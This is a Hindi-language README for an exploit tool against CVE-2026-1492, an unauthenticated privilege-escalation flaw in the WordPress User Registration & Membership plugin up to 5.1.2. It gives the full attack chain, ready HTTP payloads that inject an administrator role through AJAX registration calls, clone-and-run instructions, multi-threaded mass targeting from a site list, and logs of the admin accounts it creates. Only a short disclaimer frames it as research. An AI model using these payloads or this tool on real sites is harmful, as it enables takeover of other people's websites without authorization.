
User Registration & Membership <= 5.1.2 - सदस्यता पंजीकरण के माध्यम से अप्रमाणित विशेषाधिकार वृद्धि
User Registration & Membership <= 5.1.2 - मेंबरशिप रजिस्ट्रेशन के माध्यम से बिना प्रमाणीकरण के विशेषाधिकार वृद्धि
विवरण:
WordPress के लिए User Registration & Membership प्लगइन, 5.1.2 तक के सभी संस्करणों में बिना प्रमाणीकरण के विशेषाधिकार वृद्धि (Unauthenticated Privilege Escalation) के प्रति संवेदनशील है। यह भेद्यता user_registration_membership_register_member AJAX हैंडलर के कारण उत्पन्न होती है, जो मेंबरशिप रजिस्ट्रेशन प्रक्रिया के दौरान बिना किसी सर्वर-साइड अनुमतिसूची (allowlist) या क्षमता (capability) जाँच लागू किए उपयोगकर्ता द्वारा आपूर्ति किए गए role मान को स्वीकार करता है। एक पूर्णतः बिना प्रमाणीकरण वाला दूरस्थ हमलावर बहु-चरणीय AJAX अनुरोध श्रृंखला तैयार कर सकता है — पहले एक नया उपयोगकर्ता खाता पंजीकृत करके, फिर members_data JSON पेलोड में "role": "administrator" इंजेक्ट करके एक दुर्भावनापूर्ण register_member कॉल सबमिट करके — पूर्ण विशेषाधिकार वाला WordPress व्यवस्थापक (एडमिन) खाता चुपचाप बना सकता है। इसके परिणामस्वरूप बिना किसी उपयोगकर्ता इंटरैक्शन की आवश्यकता के प्रभावित WordPress इंस्टॉलेशन का पूर्ण समझौता हो जाता है।
यह एक प्रूफ-ऑफ-कॉन्सेप्ट (PoC) शोषण स्क्रिप्ट है जो User Registration & Membership प्लगइन के संवेदनशील संस्करण को चलाने वाली WordPress साइटों के विरुद्ध पूर्ण स्टेट-अवेयर (state-aware) आक्रमण श्रृंखला लागू करती है। यह टूल स्वचालित डिस्कवरी, प्लान निष्कर्षण, नॉन्स संग्रहण, द्वि-प्रवाह रजिस्ट्रेशन, रोल इंजेक्शन और एडमिन सत्यापन के साथ बुद्धिमान बहु-चरणीय शोषण करता है।
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
या requirements फ़ाइल के माध्यम से:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
यह टूल Rich द्वारा संचालित पूर्णतः इंटरैक्टिव टर्मिनल इंटरफ़ेस का उपयोग करता है। सभी पैरामीटर रनटाइम पर पूछे जाते हैं।
एक सादा टेक्स्ट फ़ाइल बनाएँ (डिफ़ॉल्ट: list.txt) जिसमें प्रत्येक पंक्ति में एक टार्गेट हो:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
यह टूल स्वचालित रूप से निम्न को डिस्कवर और पार्स करता है:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ सर्वर बिना किसी अनुमतिसूची सत्यापन के क्लाइंट से
roleफ़ील्ड स्वीकार करता है — यही CVE-2026-1492 का मूल कारण है।
यह टूल एक नया सत्र खोलता है, नवनिर्मित क्रेडेंशियल्स के साथ लॉगिन करता है, और निम्न की जाँच करता है:
https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-1492 | User Registration & Membership — Admin PoC ║
║ By: Nxploited | GitHub: github.com/Nxploited | @KNxploited ║
╚══════════════════════════════════════════════════════════════════════╝
[INFO] https://target.com
[OK] https://target.com | REG-A-OK user:Nxploited_A_482910 mem:3
[OK] https://target.com | MEM-A-OK membership A (role=administrator payload) sent
[OK] https://target.com | ADMIN-A user:Nxploited_A_482910 pass:Nx_12999 mem:3
┌─────────────────────────────��───────────────────────────────────────────────┐
│ Target │ Status │ Note │
├─────────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ ADMIN-A │ user:Nxploited_A_482910 ... │
│ https://target2.com │ MEM-B-FAIL │ membership not configured │
│ https://target3.com │ DEAD │ connection error │
└─────────────────────────────────────────────────────────────────────────────┘
द्वारा: Nxploited (Khaled Alenazi)
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।
इस परियोजना के लेखक, Nxploited (Khaled Alenazi), और सभी योगदानकर्ता इस टूल के दुरुपयोग या उन प्रणालियों के विरुद्ध इस सॉफ़्टवेयर के उपयोग से होने वाली किसी भी क्षति के लिए न तो समर्थन करते हैं, न प्रोत्साहित करते हैं, और न ही कोई ज़िम्मेदारी लेते हैं, जिनके लिए आपके पास स्पष्ट लिखित प्राधिकरण नहीं है।
- ✅ अनुमति: उन प्रणालियों पर उपयोग करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपको स्पष्ट लिखित अनुमति दी गई है।
- ❌ निषिद्ध: सिस्टम स्वामी से पूर्व स्पष्ट लिखित प्राधिकरण के बिना किसी भी प्रणाली के विरुद्ध उपयोग करना।
कंप्यूटर प्रणालियों तक अनधिकृत पहुँच अवैध है और लागू कानूनों के तहत दंडनीय है, जिसमें कंप्यूटर फ्रॉड एंड एब्यूज़ एक्ट (CFAA), कंप्यूटर मिसयूज़ एक्ट (CMA) और दुनिया भर के समकक्ष विधान शामिल हैं, लेकिन इन्हीं तक सीमित नहीं हैं।
इस टूल का उपयोग करके, आप अपने कार्यों की पूर्ण और एकमात्र ज़िम्मेदारी स्वीकार करते हैं और पुष्टि करते हैं कि आपके पास लक्षित प्रणालियों का परीक्षण करने का कानूनी अधिकार है।
लेखक इस सॉफ़्टवेयर के उपयोग या दुरुपयोग से उत्पन्न किसी भी प्रत्यक्ष, अप्रत्यक्ष, आकस्मिक या परिणामी क्षति के लिए कोई दायित्व नहीं मानता है।
© 2026 Nxploited (Khaled Alenazi) — केवल अधिकृत सुरक्षा अनुसंधान के लिए।
| फ़ील्ड | विवरण |
|---|
| CVE ID | CVE-2026-1492 |
| गंभीरता | क्रिटिकल — CVSS v3.1 स्कोर: 9.8 |
| वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| प्रभावित सॉफ़्टवेयर | User Registration & Membership — WordPress के लिए कस्टम रजिस्ट्रेशन फ़ॉर्म बिल्डर, कस्टम लॉगिन फ़ॉर्म, यूज़र प्रोफ़ाइल, सामग्री प्रतिबंध और मेंबरशिप प्लगइन |
| प्रभावित संस्करण | 5.1.2 तक के सभी संस्करण |
| भेद्यता प्रकार | अनुचित विशेषाधिकार प्रबंधन — बिना प्रमाणीकरण के एडमिन खाता निर्माण |
| आवश्यक प्रमाणीकरण | कोई नहीं |
| CWE | CWE-269: अनुचित विशेषाधिकार प्रबंधन |
| टार्गेट | क्या निकाला जाता है |
|---|
/membership-pricing/ | मेंबरशिप प्लान ID, रजिस्ट्रेशन पेज लिंक |
/registration/ | फ़ॉर्म फ़ील्ड, नॉन्स, AJAX URL, मेंबरशिप रेडियो इनपुट |
user_registration_params JS ऑब्जेक्ट | ajax_url, security नॉन्स, फ़ॉर्म मेटाडेटा |
ur_membership_frontend_localized_data | मेंबरशिप-विशिष्ट नॉन्स, AJAX एंडपॉइंट |
| एंडपॉइंट | जाँचा गया संकेतक |
|---|
/wp-admin/ | adminmenu, wp-admin-bar, manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin, plugin-install-tab |
| फ़ाइल | विवरण |
|---|
Nx_admin.txt | ✅ पुष्टि किए गए एडमिन खाते |
membership_success_log.txt | सभी सफल मेंबरशिप रोल-इंजेक्शन कॉल |
discovery_log.txt | प्रति टार्गेट पूर्ण डिस्कवरी डेटा (नॉन्स, ID, फ़ील्ड) |
registration_log.txt | सभी रजिस्ट्रेशन AJAX अनुरोध और प्रतिक्रियाएँ |
membership_log.txt | सभी मेंबरशिप AJAX अनुरोध और प्रतिक्रियाएँ |
admin_check_log.txt | लॉगिन प्रयास और एडमिन सत्यापन परिणाम |
| स्थिति | रंग | अर्थ |
|---|
ADMIN-A / ADMIN-B | 🟢 हरा | एडमिन पुष्टि — फ्लो A या B |
ADMIN-A-OVERRIDE | 🟢 हरा | ओवरराइड प्रयास के बाद एडमिन पुष्टि |
REG-A-FAIL / REG-B-FAIL | 🟡 पीला | रजिस्ट्रेशन AJAX ने विफलता लौटाई |
MEM-A-FAIL / MEM-B-FAIL | 🟣 मैजेंटा | मेंबरशिप रोल-इंजेक्शन कॉल विफल रही |
REG-PENDING-A/B | ⚫ गहरा | खाते को ईमेल सत्यापन या एडमिन अनुमोदन की आवश्यकता है |
NO-MEM-ID | ⚫ गहरा | टार्गेट पर मेंबरशिप प्लान ID नहीं मिला |
NO-UR-NONCE | ⚫ गहरा | रजिस्ट्रेशन नॉन्स निकालने योग्य नहीं है |
NO-ADMIN | ⚫ गहरा | मेंबरशिप ठीक है, लेकिन एडमिन एक्सेस की पुष्टि नहीं हुई |
TIMEOUT | ⚫ गहरा | HTTP टाइमआउट |
DEAD | ⚫ गहरा | कनेक्शन त्रुटि — साइट अगम्य है |
ERROR | 🔴 लाल | अप्रत्याशित अपवाद |